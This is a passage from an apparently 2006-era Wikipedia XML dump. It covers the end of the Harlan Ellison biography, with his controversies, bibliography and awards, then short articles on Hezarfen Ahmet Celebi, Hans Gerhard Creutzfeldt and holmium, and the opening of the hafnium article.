&quot;I Have No Mouth, and I Must Scream&quot; was turned into a computer game with the [[I Have No Mouth, and I Must Scream (computer game)|same title]], with Ellison providing the voice of the god-computer AM.

He also edited the influential science fiction anthology ''[[Dangerous Visions]]'' (1967), which collected stories commissioned by Ellison, accompanied by his commentary-laden biographical sketches of the authors. He challenged the authors to write stories at the edge of the genre, and ''Dangerous Visions'' is widely considered the greatest and most influential SF anthology of all time. Many of the stories went beyond the traditional boundaries of science fiction pioneered by respected old school editors such as [[John W. Campbell]], Jr. As an editor, Ellison was influenced and inspired by experimentation in the popular literature of the time, such as the [[Beat generation|beats]]. A sequel, ''Again Dangerous Visions'', was published in 1972. A third volume, ''The Last Dangerous Visions'', controversially will probably never see print.

The screenplay for his projected television series ''[[The Starlost]]'' was also given a Writers Guild Award, though the actual series was so altered by the producers that Ellison had his name removed from the credits. Ellison was the first writer to win this award three times. 

Ellison served as creative consultant to the science fiction TV series ''[[The Twilight Zone]]'' ([[1980s]] version) and ''[[Babylon 5]]''. As a member of the [[Screen Actors Guild]] (SAG), he has voiceover credits for shows including ''[[The Pirates of Dark Water]]'', ''Mother Goose and Grimm'', ''[[Space Cases]]'', ''[[Phantom 2040]]'', and ''Babylon 5'', as well as making an onscreen appearance in the ''Babylon 5'' episode &quot;[[The Face of the Enemy|The Face of the Enemy]]&quot;.

For two years beginning in 1986, Ellison took over as host of the radio program ''[[Hour 25]]'' on [[KPFK]] after the death of Mike Hodel, the show's founder and original host. It has been reported that his inadverdant use of an expletive on air caused his departure from the show.

Ellison's 1992 [[novelette]] &quot;The Man Who Rowed Christopher Columbus Ashore&quot; was selected for inclusion in the 1993 edition of ''The Best American Short Stories''.

Ellison was hired as a writer for [[The Walt Disney Company|Walt Disney Studios]], but was fired on his first day after being overheard by [[Roy O. Disney]] in the studio commissary joking about making a [[pornography|pornographic]] animated film featuring Disney characters. He recounted this incident in his book ''Stalking the Nightmare'', as part 3 of a section entitled &quot;The 3 Most Important Things in Life&quot;.

He does all his writing on a manual Olympia [[typewriter]].

Ellison is currently married to Susan, his fifth wife, and they live in [[Los Angeles, California]].  In 1994 he suffered a heart attack and was hospitalized for quadruple [[coronary artery bypass surgery]].

In 2006, Harlan Ellison will receive the title of Grand Master given annually by the [[Science Fiction and Fantasy Writers of America]].

== Controversy ==

Ellison has a reputation for being abrasive and rude (a dust jacket from one of his books described him as &quot;possibly the most contentious person on Earth&quot;) and he is fiercely litigious. These traits have attracted a degree of controversy, especially among science fiction and fantasy fans. His friend [[Isaac Asimov]] remarked of Ellison that &quot;Harlan uses his gifts for colorful and variegated invective on those who irritate him&amp;mdash;intrusive fans, obdurate editors, callous publishers, offensive strangers.&quot; His outspoken reputation earned him a spot on the fledgling [[Sci-Fi Channel]] where he was given an opportunity to express his views on whatever he chose to talk about. Ellison's segments, of which some transcripts are available, were broadcast from 1994 to 1997. Some found this ironic, as Ellison has derided the term &quot;sci-fi&quot; as a &quot;hideous neologism&quot; that &quot;sounds like crickets fucking,&quot; a comment to which [[Forrest J. Ackerman]], who coined the term, responded by producing buttons bearing the slogan, &quot;I love the sound of crickets making love.&quot;

As Guest of Honor at the 1978 [[WorldCon]] (Iguanacon) in [[Phoenix, Arizona|Phoenix]], [[Arizona]], Ellison vowed that he would not spend a penny in a state which had not ratified the [[Equal Rights Amendment]]. During the convention, he used a recreational vehicle instead of staying in a convention hotel. He was also a participant in the 1965 [[Selma to Montgomery marches|March]] from [[Selma]] to [[Montgomery, Alabama|Montgomery]], led by [[Martin Luther King, Jr.]].  

''The Last Dangerous Visions'', the third volume of the anthology series, has become something of a legend in science fiction as the genre's most famous unpublished book. Originally announced for publication in 1973, other work demanded Ellison's attention and the anthology has not seen print to date. He has come under criticism for his treatment of some writers who submitted their stories to him, of which some estimate to be nearly 150 (many of the authors have died in the subsequent three decades since the anthology was first announced). In 1993 Ellison threatened to sue [[New England Science Fiction Association]] (NESFA) for publishing ''Himself in Anachron'', a short story written by [[Cordwainer Smith]] and sold to Ellison for the book by his widow, [http://www.dcs.gla.ac.uk/Ansible/a76.html#harlan] but later reached an amicable settlement. [http://www.dcs.gla.ac.uk/Ansible/a77.html] Noted British SF author [[Christopher Priest (science fiction writer)|Christopher Priest]] has critiqued Ellison's editorial practices in a widely-disseminated article titled ''[[The Book on the Edge of Forever]]''. [http://sf.www.lysator.liu.se/sf_archive/sf-texts/Ansible/Last_Deadloss_Visions,Chris_Priest].  Priest documented a half-dozen instances in which Ellison promised TLDV would appear within a year of the statement, but did not fulfill those promises. Ellison has a record of fulfilling obligations in other instances, including to writers whose stories he solicited, and has expressed outrage at other editors who have displayed poor practices. 

In the 1980s, there was a widely-publicized incident in which Ellison allegedly assaulted author and critic [[Charles Platt]] at the Nebula Awards banquet. Platt did not pursue legal action against Ellison, and the two men signed a &quot;non-aggression pact&quot; later, promising never to discuss the incident again or have any contact with one another. In later years, however, Ellison often publicly boasted about the incident. Platt, too, has been less than absolute in adhering to the agreement. 

Ellison has on occasion used the [[pseudonym]] &quot;Cordwainer Bird&quot; to alert members of the public to situations in which he feels his creative contribution to a project has been mangled beyond repair by others, typically Hollywood producers or studios.  (See, e.g., [[Alan Smithee]].)  The &quot;Cordwainer Bird&quot; moniker is a tribute to fellow SF writer Paul M. A. Linebarger, better known by his pen name, [[Cordwainer Smith]].  The origin of the word &quot;[[cordwainer]]&quot; is shoemaker (from working with [[cordovan]] [[leather]] for shoes).  The term used by Linebarger was meant to imply the industriousness of the [[pulp magazine|pulp]] author.  Ellison has said, in interviews and in his writing, that his version of the pseudonym was meant to mean &quot;a shoemaker for birds&quot;.  Since he has used the pseudonym mainly for works he wants to distance himself from, it may be understood to mean that &quot;this work is for the birds&quot;.  [[Stephen King]] once said he thought that it meant that Ellison was giving people who mangled his work a literary version of &quot;[[the bird]]&quot;.

Ellison recently gained attention for his [[April 24]], [[2000]] lawsuit against Stephen Robertson for posting four of his stories to the [[Usenet]] [[newsgroup]] alt.binaries.e-book without authorization. Included as defendants in the lawsuit were [[AOL]] and [[RemarQ]], [[internet service provider]]s whose involvement was running Usenet servers carrying the group in question and for failing to stop the alleged copyright infringers in accordance with the &quot;Notice and Takedown Procedure&quot; outlined in the [[1998]] [[Digital Millennium Copyright Act]]. Robertson and RemarQ settled the lawsuit with Ellison, though he pressed on with his suit against AOL.  The AOL suit was settled in June [[2004]] under conditions which were not made public.

== Short stories collections==

*''[[A Touch of Infinity]]''
*''[[Children of the Streets]]''
*''[[Gentleman Junkie and Other Stories of the Hung-Up Generation]]''
*''[[Ellison Wonderland]]''
*''[[Paingod and Other Delusions]]''
*''[[I Have No Mouth, and I Must Scream]]''
*''[[From the Land of Fear]]''
*''[[Love Ain't Nothing But Sex Misspelled]]'' (fiction and nonfiction)
*''[[The Beast that Shouted Love at the Heart of the World]]''
*''[[Over the Edge (short stories)|Over the Edge]]''
*''[[Partners in Wonder]]'' (collaborations with 14 other writers)
*''[[Alone Against Tomorrow]]''
*''[[Approaching Oblivion]]''
*''[[Deathbird Stories]]''
*''[[No Doors, No Windows]]''
*''[[Strange Wine]]''
*''[[Shatterday]]''
*''[[Stalking the Nightmare]]''
*''[[Angry Candy]]''
*''[[Slippage (short stories)|Slippage]]''
*''[[The Time of the Eye]]''

*''[[The Essential Ellison]]

== Novels ==

*''[[Rumble (novel)|Rumble]]'' (also titled ''Web of the City'')
*''[[The Sound of a Scythe]]''
*''[[Spider Kiss]]'' (originally titled ''Rockabilly'')
*''[[Doomsman]]''
*''[[The Starlost No. 1: Phoenix Without Ashes]]'' (adaptation by Edward Bryant of Ellison's pilot script)

== Published screenplays and teleplays ==

*''[[I, Robot]]'' (with [[Isaac Asimov]]) (unrelated to the [[I, Robot (movie)|2004 movie]] starring [[Will Smith]])
*''[[The City on the Edge of Forever (TOS episode)|The City on the Edge of Forever]]'' ([[Star Trek]] episode, original screenplay, with commentary).  For an in-depth review of this book see [http://www.lysator.liu.se/sf_archive/sf-texts/books/E/Ellison,Harlan.mbox].
*''[[Harlan Ellison's Movie]]'' (unproduced feature-length screenplay serialised in Ellison's weekly newspaper column ''[[The Harlan Ellison Hornbook]]'' and collected in the omnibus volume ''[[Edgeworks 3]]'')
*''[[Flintlock]]'' (unproduced pilot teleplay for a proposed TV series based on [[James Coburn]]'s character in ''[[In Like Flint]]'', published in the retrospective volume ''[[The Essential Ellison]]'')
*''[[The Whimper of Whipped Dogs]]'' (teleplay produced in the TV series ''[[The Young Lawyers]]'', serialised in Ellison's weekly newspaper column ''[[The Glass Teat]]'' and published in his volume ''[[The Other Glass Teat]]'')
*''[[The Whimper of Whipped Dogs]]'' (unfinished screenplay based on Ellison's 1974 short story of the same title as, but completely unrelated to, the ''[[The Young Lawyers|Young Lawyers]]'' teleplay referenced above; three treatments of the opening sequence were published in the June 1988 issue of ''[[The Magazine of Fantasy and Science Fiction]]'' and later appeared in the volume ''[[Harlan Ellison's Watching]]'')
See also ''Phoenix without Ashes'', the novelization by [[Edward Bryant]] of the screenplay for the pilot episode of ''The Starlost'', which includes a lengthy afterword by Ellison describing what happened in the production of that series.

== Nonfiction ==

*''[[Memos from Purgatory]]''
*''[[The Glass Teat]]'' (essays on television, 1968-1970)
*''[[The Other Glass Teat]]'' (essays on television, 1970-1972)
*''[[Sleepless Nights in the Procrustean Bed]]'' edited by [[Marty Clark]]
*''[[Harlan Ellison's Watching]]''
*''[[An Edge in My Voice]]''
*''[[The Harlan Ellison Hornbook]]''
*&quot;[[The Book of Ellison]]&quot; (edited by Andrew Porter, 1978, Algol Press)

== Anthologies edited ==

*''[[Dangerous Visions]]''  [[1967]] (ISBN 0743452615)
**Note: This book has also been issued in a three-volume paperback edition.
*''[[Nightshade and Damnations: the finest stories of Gerald Kersh]]''
*''[[Again Dangerous Visions]]'' [[1972]] (ISBN 0425061825)
**Note: This book has also been issued in a two-volume paperback edition
*''[[Medea: Harlan's World]]'' (1985; ISBN 0932096360): an experiment in collaborative science-fictional world-building, featuring contributions by [[Hal Clement]], [[Frank Herbert]], [[Ursula K. LeGuin]] and others.

== Selected short stories ==

*&quot;[[The Beast That Shouted Love at the Heart of the World]]&quot;
*&quot;[[A Boy and his Dog]]&quot; (made into a film)
*&quot;[[The Deathbird]]&quot;
*&quot;[[The Diagnosis of Dr. D'arqueAngel]]&quot;
*&quot;[[From A to Z, in the Chocolate Alphabet]]&quot;
*&quot;[[I Have No Mouth, and I Must Scream]]&quot;
*&quot;[[Jeffty Is Five]]&quot;
*&quot;[[Knox (story)|Knox]]&quot;
*&quot;[[The Prowler in the City at the Edge of the World]]&quot;
*&quot;&quot;[[&quot;Repent, Harlequin!&quot; Said the Ticktockman]]&quot;
*&quot;[[Shatterday]]&quot;
*&quot;[[Shattered Like a Glass Goblin]]&quot;
*&quot;[[Soldier (story)|Soldier]]&quot;: filmed as an ''[[The Outer Limits|Outer Limits]]'' episode. The film ''[[The Terminator]]'' had sufficient story element similarities to it (and also to another ''[[The Outer Limits|Outer Limits]]'' episode, &quot;Demon With a Glass Hand&quot;) that Ellison filed a lawsuit against [[James Cameron]].  Later prints of the film acknowledge the debt to Ellison.
*&quot;[[Try a Dull Knife]]&quot;
*&quot;[[The Whimper of Whipped Dogs]]&quot;

== Computer games ==
*''[[I Have No Mouth, and I Must Scream (computer game)|I Have No Mouth, and I Must Scream]]''

== Awards won ==
(Paragraph repeated from above; for accompanying links, see first iteration.)

He has won the Hugo Award eight and a half times; the Nebula Award three times; the Bram Stoker Award, presented by the Horror Writers Association, five times (including the Lifetime Achievement Award in 1996); the Edgar Award of the Mystery Writers of America twice; the Georges Méliès fantasy film award twice; and was awarded the Silver Pen for Journalism by International PEN, the international writers' union. He was presented with the first Living Legend Award by the International Horror Guild at the 1995 World Horror Convention. He is also the only author in Hollywood ever to win the Writers' Guild of America Award for Most Outstanding Teleplay (solo work) four times, most recently for &quot;Paladin of the Lost Hour&quot; in 1987. In March 1998, the National Women's Committee of Brandeis University honored him with their 1998 Words, Wit, Wisdom award. In 1990, Ellison was honored by International PEN for continuing commitment to artistic freedom and the battle against censorship.  Some of the specific occasions are listed below.

=== Bradbury award ===

The [[Bradbury Award]] in [[2000]] went to Harlan Ellison and [[Yuri Rasovsky]].

=== Bram Stoker Award ===

*''[[The Essential Ellison]]'' (best collection, [[1987]])
*''[[Harlan Ellison's Watching]]'' (best non-fiction, [[1989]]&amp;mdash;tie)
*''[[Mefisto in Onyx]]'' (best novella, [[1993]]&amp;mdash;tie)
*''[[Chatting With Anubis]]'' (best short story, [[1995]])
*Life achievement award, [[1995]]
*''[[I Have No Mouth, and I Must Scream]]'' (best other media&amp;mdash;audio, [[1999]])

=== Hugo Award ===

*''[[&quot;Repent, Harlequin!&quot; Said the Ticktockman]]'' (best short fiction, [[1966]])
*''[[I Have No Mouth, and I Must Scream]]'' (best short story, [[1968]])
*''[[City on the Edge of Forever]]'' (best dramatic presentation, [[1968]])
*''[[Dangerous Visions]]'' (special award, [[1968]])
*''[[The Beast That Shouted Love at the Heart of the World]]'' (best short story, [[1969]])
*''[[Again, Dangerous Visions]]'' (special award for excellence in anthologizing, [[1972]])
*''[[The Deathbird]]'' (best novelette, [[1974]])
*''[[Adrift Just Off the Islets of Langerhans]]: Latitude 38° 54' N, Longitude 77° 00' 13&quot; W'' (best novelette, [[1975]])
*''[[Jeffty is Five]]'' (best short story, [[1978]])
*''[[Paladin of the Lost Hour]]'' (best novelette, [[1986]])

=== Locus Poll Award ===

*''[[The Region Between]]'' (best short fiction, [[1970]])
*''[[Basilisk]]'' (best short fiction, [[1972]])
*''[[Again, Dangerous Visions]]'' (best anthology, [[1972]])
*''[[The Deathbird]]'' (best short fiction. [[1974]])
*''[[Adrift Just Off the Islets of Langerhans]]: Latitude 38° 54' N, Longitude 77° 00' 13&quot; W'' (best novelette, [[1975]])
*''[[Croatoan (Ellison)|Croatoan]]'' (best short story, [[1976]])
*''[[Jeffty Is Five]]'' (best short story, [[1978]])
*''[[Count the Clock That Tells the Time]]'' (best short story, [[1979]])
*''[[Djinn, No Chaser]]'' (best novellette, [[1983]])
*''[[Sleepless Nights in the Procrustean Bed]]'' (best related non-fiction, [[1985]])
*''[[Medea - Harlan's World|Medea: Harlan's World]]'' (best anthology, [[1986]])
*''[[Paladin of the Lost Hour]]'' (best novelette, [[1986]])
*''[[With Virgil Oddum at the East Pole]]'' (best short story, [[1986]])
*''[[Angry Candy]]'' (best collection, [[1989]])
*''[[The Function of Dream Sleep]]'' (best novellette, [[1989]])
*''[[Eidolons]]'' (best short story, [[1989]])
*''[[Mefisto in Onyx]]'' (best novella, [[1994]])
*''[[Slippage]]'' (best collection, [[1998]])

=== Nebula Award ===

*''[[&quot;Repent, Harlequin!&quot; Said the Ticktockman]]'' (best short story, [[1965]])
*''[[A Boy and His Dog]]'' (best novella, [[1969]])
*''[[Jeffty is Five]]'' (best short story, [[1977]])

=== Additional reading ===

*''[[California Sorcery]]'', edited by [[William F. Nolan]] and [[William Schafer]]

==Parodies and pastiches of Ellison==
Ellison's prose style, while highly regarded, is distinctive but easy to parody: many have tried, with varying degrees of success. Ellison himself is such a distinctive personality that many other science-fiction authors have inserted characters into their works who are thinly-disguised parodies of Ellison himself; some of these parodies are good-natured, others definitely hostile.

One of the more benevolent parodies of Ellison is the main character in a [[mystery]] novel by an author who is better known for [[science fiction]]: ''[[Murder at the A.B.A.]]'' by [[Isaac Asimov]]. (This novel's title refers to the annual convention of the [[American Booksellers Association]].) The novel's main character and narrator is an author named &quot;Darius Just&quot;, who finds himself serving as an amateur sleuth to solve the murder of a fellow author at the ABA convention. Asimov intended the name &quot;Darius Just&quot; as a pun on &quot;Dry As Dust&quot;, and the protagonist is a slightly exaggerated pastiche of Ellison himself. Ellison has objected to the depiction: Darius Just is only five feet tall, whereas Ellison is four inches taller.

[[Ben Bova]]'s comic-SF novel ''[[The Starcrossed]]'' was inspired by Ellison's and Bova's experience on the Canada-produced miniseries ''[[The Starlost]]''. In Bova's novel, a new 3D television projection system has been developed, and a new show is produced to encourage people to buy the new sets. The producers hire a famous writer named Ron Gabriel to write the show: the character is a thinly disguised Ellison. Although Bova is a friend of Ellison's, and his portrayal of Gabriel is admiring and sympathetic, the novel is broad comedy, and should not be read as a true [[roman a clef]]. (Ellison has given his own non-fiction account of his [[Starlost]] experience in a lengthy essay titled &quot;Somehow, I Don't Think We're in Kansas, Toto.&quot;

In a somewhat less sympathetic vein, Ellison serves as a partial basis for a composite character in ''Bimbos of the Death Sun'' by [[Sharyn McCrumb]], who differs from Ellison in a number of respects, including having written a series of sword &amp; sorcery books.

==External links==
{{wikiquote}}

*[http://harlanellison.com/home.htm  Ellison Webderland]&amp;mdash;official homepage
*[http://www.worldtalkradio.com/archive.asp?aid=4239 Radio Interview on Comic Zone]
*{{imdb name|id=0255196|name=Harlan Ellison}}
*[http://www.snopes.com/disney/wdco/ellison.htm Urban Legends Reference Pages: Disney (Harlan Ellison)]
* {{isfdb name|id=Harlan_Ellison|name=Harlan Ellison}}

[[Category:1934 births|Ellison, Harlan]]
[[Category:American fantasy writers|Ellison, Harlan]]
[[Category:American science fiction writers|Ellison, Harlan]]
[[Category:Babylon 5 cast and crew|Ellison, Harlan]]
[[Category:Clevelanders|Ellison, Harlan]]
[[Category:American horror writers|Ellison, Harlan]]
[[Category:Hugo Award winning authors|Ellison, Harlan]]
[[Category:Nebula Grand Masters|Ellison, Harlan]]
[[Category:ISBN needed]]
[[Category:Jewish American writers|Ellison, Harlan]]
[[Category:Literary critics|Ellison, Harlan]]
[[Category:People from Ohio|Ellison, Harlan]]
[[Category:Science fiction fans|Ellison, Harlan]]
[[Category:Wikipedia critics]]
[[Category:Living people|Ellison, Harlan]]

&lt;!-- Metadata: see [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Ellison, Harlan Jay
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=American [[science fiction]] author, screenwriter
|DATE OF BIRTH=[[May 27]], [[1934]]
|PLACE OF BIRTH=[[Cleveland, Ohio]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[bg:Харлан Елисън]]
[[de:Harlan Ellison]]
[[es:Harlan Ellison]]
[[eo:Harlan ELLISON]]
[[fr:Harlan Ellison]]
[[he:הרלאן אליסון]]
[[nl:Harlan Ellison]]
[[ja:ハーラン・エリスン]]
[[pl:Harlan Ellison]]
[[fi:Harlan Ellison]]
[[sv:Harlan Ellison]]</text>
    </revision>
  </page>
  <page>
    <title>Hezarfen Ahmet Celebi</title>
    <id>13463</id>
    <revision>
      <id>42049857</id>
      <timestamp>2006-03-03T13:21:29Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>indexing</comment>
      <text xml:space="preserve">'''Hezarfen Ahmet Celebi''' (Turkish: '''Hezarfen Ahmet Çelebi'''), who lived in the [[17th century]] in [[Istanbul]] in the [[Ottoman Empire]], is one of the first [[aviator]]s to have succeeded in flying with artificial wings.  He is supposed to have been inspired by and used the studies of [[Leonardo da Vinci]] on the flight of [[bird|birds]].  He started flying from the [[Galata Tower]], a high tower in [[Istanbul]], and managed to fly over the [[Bosporus]].  The few people known to have succeeded in this kind of flight are an aviator from Moorish [[Spain]] and an [[England|English]] monk in the [[8th century|9th]] and [[12th century|12th centuries]], respectively.  One of Hezarfen's friends [[Lagari Hasan Celebi]] is known to have performed the first flight with a rocket in a conical cage filled with gun powder. Ahmet Celebi, because of his vast scientific knowledge was given the name '''Hezarfen''', meaning “a thousand sciences”([[polymath]]). In his early studies of flying, he was motivated by the [[10th century]] Turkish scientist [[Ismail Cevheri]]. Celebi, after carefully studying Cevheri’s findings and when he felt confident enough arranged a public demonstration. He climbed the Galata Tower and launched himself into the wind; he passed over the Bosporus and landed in the slopes of [[Üsküdar]] on the [[Anatolia]]n side.

This event created a great sensation. Sultan [[Murat IV]] was delighted and wanted to award Hezarfen but religious leaders and palace advisers soon changed his mind. Hezarfen was exiled to [[Algeria]] where he died soon at the age of thirty-one.

Being one of the three airports in [[Istanbul]], Hezarfen Airfield is a good example of Turks fidelity to this hero. 


[[Category:Turkish people|Celebi, Hezarfen Ahmet]]
[[Category:Turkish aviators|Celebi, Hezarfen Ahmet]]
[[Category:Muslim scientists|Celebi, Hezarfen Ahmet]]
[[Category:Year of death missing|Celebi, Hezarfen Ahmet]]

[[tr:Hezarfen Ahmet Çelebi]]</text>
    </revision>
  </page>
  <page>
    <title>Hans Gerhard Creutzfeldt</title>
    <id>13464</id>
    <revision>
      <id>36458646</id>
      <timestamp>2006-01-24T04:20:33Z</timestamp>
      <contributor>
        <username>Semiconscious</username>
        <id>302094</id>
      </contributor>
      <minor />
      <comment>+cat</comment>
      <text xml:space="preserve">'''Hans Gerhard Creutzfeldt''' ([[June 2]], [[1885]] &amp;ndash; [[December 30]], [[1964]]) was a [[Germany|German]] [[neuropathologist]].  He was born in [[Harburg, Germany|Harburg]] and died in [[Munich]].

==See also==
*[[Creutzfeldt-Jakob disease]]

{{med-bio-stub}}

[[Category:German neuroscientists|Creutzfeldt, Hans Gerhard]]
[[Category:Pathologists|Creutzfeldt, Hans Gerhard]]
[[Category:1885 births|Creutzfeldt, Hans Gerhard]]
[[Category:1964 deaths|Creutzfeldt, Hans Gerhard]]

[[de:Hans-Gerhard Creutzfeldt]]
[[nl:Hans Gerhard Creutzfeldt]]</text>
    </revision>
  </page>
  <page>
    <title>Holmium</title>
    <id>13465</id>
    <revision>
      <id>40010917</id>
      <timestamp>2006-02-17T13:55:01Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">{{Elementbox_header | number=67 | symbol=Ho | name=holmium | left=[[dysprosium]] | right=[[erbium]] | above=- | below=[[einsteinium|Es]] | color1=#ffbfff | color2=black }}
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'''Holmium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Ho''' and [[atomic number]] 67. Part of the [[lanthanide series]], holmium is a relatively soft and malleable silvery-white [[metal]]lic element, which is stable in dry air at room temperature.  A [[rare earth]] metal, it is found in the minerals [[monazite]] and [[gadolinite]].

== Notable characteristics ==
A trivalent metallic rare earth element, holmium has the highest [[magnetic moment]] (10.6µB) of any naturally-occurring element and possesses other unusual magnetic properties. When combined with [[yttrium]], it forms highly [[magnetism | magnetic]] compounds.

Holmium is a relatively soft and malleable element that is fairly [[corrosion]]-resistant and stable in dry air at [[standard temperature and pressure]]. In moist air and at higher [[temperature]]s, however, it quickly [[oxidation | oxidizes]], forming a yellowish oxide. In pure form, holmium possesses a metallic, bright silvery luster.

== Applications ==
Because of its magnetic properties, holmium has been used to create the strongest artificially-generated [[magnetic field]]s when placed within high-strength [[magnet]]s as a [[magnetic pole]] piece (also called a [[magnetic flux concentrator]]). Since it can absorb [[nuclear fission]]-bred neutrons, the element is also used in [[nuclear control rod]]s. Other commercial applications of the element include;

*its very high magnetic moment is suitable for use in yttrium-[[iron]]-[[garnet]] (YIG) and yttrium-[[lanthanum]]-[[fluoride]] (YLF) solid state [[laser]]s found in [[microwave]] equipment (which are in turn found in a variety of medical and dental settings).

*Holmium oxide is used as a yellow [[glass]] coloring.

Few other uses have been identified for this element.

== History ==
Holmium (''Holmia'', [[Latin]] name for [[Stockholm]]) was [[discovery of the chemical elements|discovered]] by [[Marc Delafontaine]] and [[Jacques Louis Soret]] in [[1878]] who noticed the  aberrant [[Spectrophotometry| spectrographic]] [[absorption band]]s of the then-unknown element (they called it &quot;Element X&quot;). Later in 1878, [[Per Teodor Cleve]] independently discovered the element while he was working on [[erbia]] earth ([[erbium oxide]]).

Using the method developed by [[Carl Gustaf Mosander]], Cleve first removed all of the known contaminants from erbia. The result of that effort was two new materials, one brown and one green. He named the brown substance holmia (after the Latin name for Cleve's home town, Stockholm) and the green one thulia. Holmia was later found to be the [[holmium oxide]] and thulia was [[thulium oxide]].

== Occurrence ==
Like all other rare earths, holmium is not naturally found as a free element. It does occur combined with other elements in the minerals [[gadolinite]], [[monazite]], and  in other rare-earth [[mineral]]s. It is commercially extracted via [[ion-exchange]] from monazite sand (0.05% holmium) but is still difficult to separate from other rare earths. The element has been isolated through the [[reduction]] of its anhydrous [[chloride]] or [[fluoride]] with metallic [[calcium]]. Its estimated abundance in the [[Earth]]'s crust is 1.3 milligrams per kilogram.

== Isotopes==
[[Natural]] holmium contains one [[stable]] [[isotope]], holmium 165. Some synthetic radioactive isotopes are known, the most stable one is holmium 163, with a half life of 4570 years. All other radioisotopes have half lives not greater than 1.117 days, and most have half lives under 3 hours. 

== Precautions ==
The element, as with other rare earths, appears to have a low acute [[toxic]] rating. Holmium plays no biological role in [[human]]s but may be able to stimulate  [[metabolism]].

== References ==
* [http://periodic.lanl.gov/elements/67.html Los Alamos National Laboratory &amp;ndash; Holmium]
* ''Guide to the Elements &amp;ndash; Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1
* [http://education.jlab.org/itselemental/ele067.html It's Elemental &amp;ndash; Holmium]

== External links ==
{{Commons|Holmium}}
* [http://www.webelements.com/webelements/elements/text/Ho/index.html WebElements.com &amp;ndash; Holmium] (also used as a reference)
* [http://www.americanelements.com/hoinfo3.htm American Elements &amp;ndash; Holmium] (also used as a reference)

[[Category:Chemical elements]]
[[Category:Lanthanides]]

[[ca:Holmi]]
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[[de:Holmium]]
[[et:Holmium]]
[[el:Όλμιο]]
[[es:Holmio]]
[[eo:Holmio]]
[[fr:Holmium]]
[[ko:홀뮴]]
[[io:Holmio]]
[[it:Olmio]]
[[he:הולמיום]]
[[lt:Holmis]]
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[[nl:Holmium]]
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    <title>Hafnium</title>
    <id>13466</id>
    <revision>
      <id>41208468</id>
      <timestamp>2006-02-25T20:16:05Z</timestamp>
      <contributor>
        <ip>12.76.121.230</ip>
      </contributor>
      <comment>/* Occurrence */</comment>
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'''Hafnium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Hf''' and [[atomic number]] 72. A lustrous, silvery gray tetravalent [[transition metal]], hafnium resembles [[zirconium]] chemically and is found in zirconium [[mineral]]s. Hafnium is used in [[tungsten]] [[alloy]]s in filaments and [[electrode]]s and also acts as a [[neutron]] absorber in nuclear control rods.

== Notable characteristics ==
[[Image:HafniumMetalUSGOV.jpg|thumb|left|Hafnium metal]]
This is a shiny silvery, ductile [[metal]] that is [[corrosion]] resistant and chemically similar to [[zirconium]]. The properties of hafnium are markedly affected by zirconium impurities and these two elements are amongst the most difficult to separate. The only notable difference between them is their density (zirconium is about half as dense as hafnium).

[[Hafnium carbide]] is the most [[Refraction (metallurgy)|refractory]] [[binary compound]] known and [[hafnium nitride]] is the most refractory of all known metal nitrides with a [[melting point]] of 3310 [[Celsius|&amp;deg;C]]. This metal is resistant to concentrated [[alkali]]s, but [[halogen]]s react with it to form hafnium tetrahalides. At higher temperatures hafnium reacts with [[oxygen]], [[nitrogen]], [[carbon]], [[boron]], [[sulfur]], and [[silicon]].

The [[nuclear isomer]] Hf-178-2m is also a source of energetic [[gamma rays]], and is being studied as a possible power source for gamma ray [[laser]]s.

== Applications ==
Hafnium is used to make nuclear control rods, such as those found in [[nuclear energy|nuclear]] [[submarine]]s because of its ability to absorb [[neutron]]s (its thermal neutron absorption cross section is nearly 600 times that of zirconium), excellent mechanical properties and exceptional corrosion-resistance properties. Other uses:
*Used in gas-filled and [[incandescent lamp]]s,
*for scavenging oxygen and nitrogen,
*as the electrode in [[plasma cutting]] because of its ability to shed electrons into air,
*and in [[iron]], [[titanium]], [[niobium]], [[tantalum]], and other metal [[alloy]]s.
*[[Hafnium dioxide]] is a candidate for [[High-K]] gate insulators in future generations of [[integrated circuits]].
*Recently, hafnium has been put into development of newer nuclear weapons by the U.S. government.
*DARPA has been intermittently funding programs to determine the possibility of using a [[nuclear isomer]] of hafnium (the above mentioned Hf-178-2m) to construct small, high yield weapons with simple x-ray triggering mechanisms&amp;mdash;the ''[[hafnium bomb]]''. That work follows over two decades of on-again, off-again enthusiasm for the idea of [http://www.amazon.com/gp/product/1560258497/002-5814966-0538419?v=glance&amp;n=283155 isomer weapons]. There is considerable scientific opposition to this program, both on technical and moral grounds (the argument is that though a hafnium bomb might be infeasible, other countries will use an imagined &quot;isomer weapon gap&quot; to justify nuclear weapons development stockpiling).  A related proposal is to use the same isomer to power [[Unmanned Aerial Vehicles]] [http://www.informationclearinghouse.info/article1534.htm], which could remain airborne for weeks at a time.

== History ==
Hafnium ([[Latin]] ''Hafnia'' for &quot;[[Copenhagen]]&quot;, the home town of [[Niels Bohr]]) was discovered by [[Dirk Coster]] and [[Georg von Hevesy]] in [[1923]] in Copenhagen, [[Denmark]]. Soon after, the new element was predicted to be associated with [[zirconium]] by using the Bohr theory and was finally found in zircon through [[X-ray]] [[spectroscope]] analysis in [[Norway]].

It was separated from zirconium through repeated recrystallization of double [[ammonium]] or [[potassium]] fluorides by Jantzen and von Hevesey. Metallic hafnium was first prepared by [[Anton Eduard van Arkel]] and [[Jan Hendrik deBoer]] by passing tetraiodide vapor over a heated [[tungsten]] filament.

== Occurrence ==
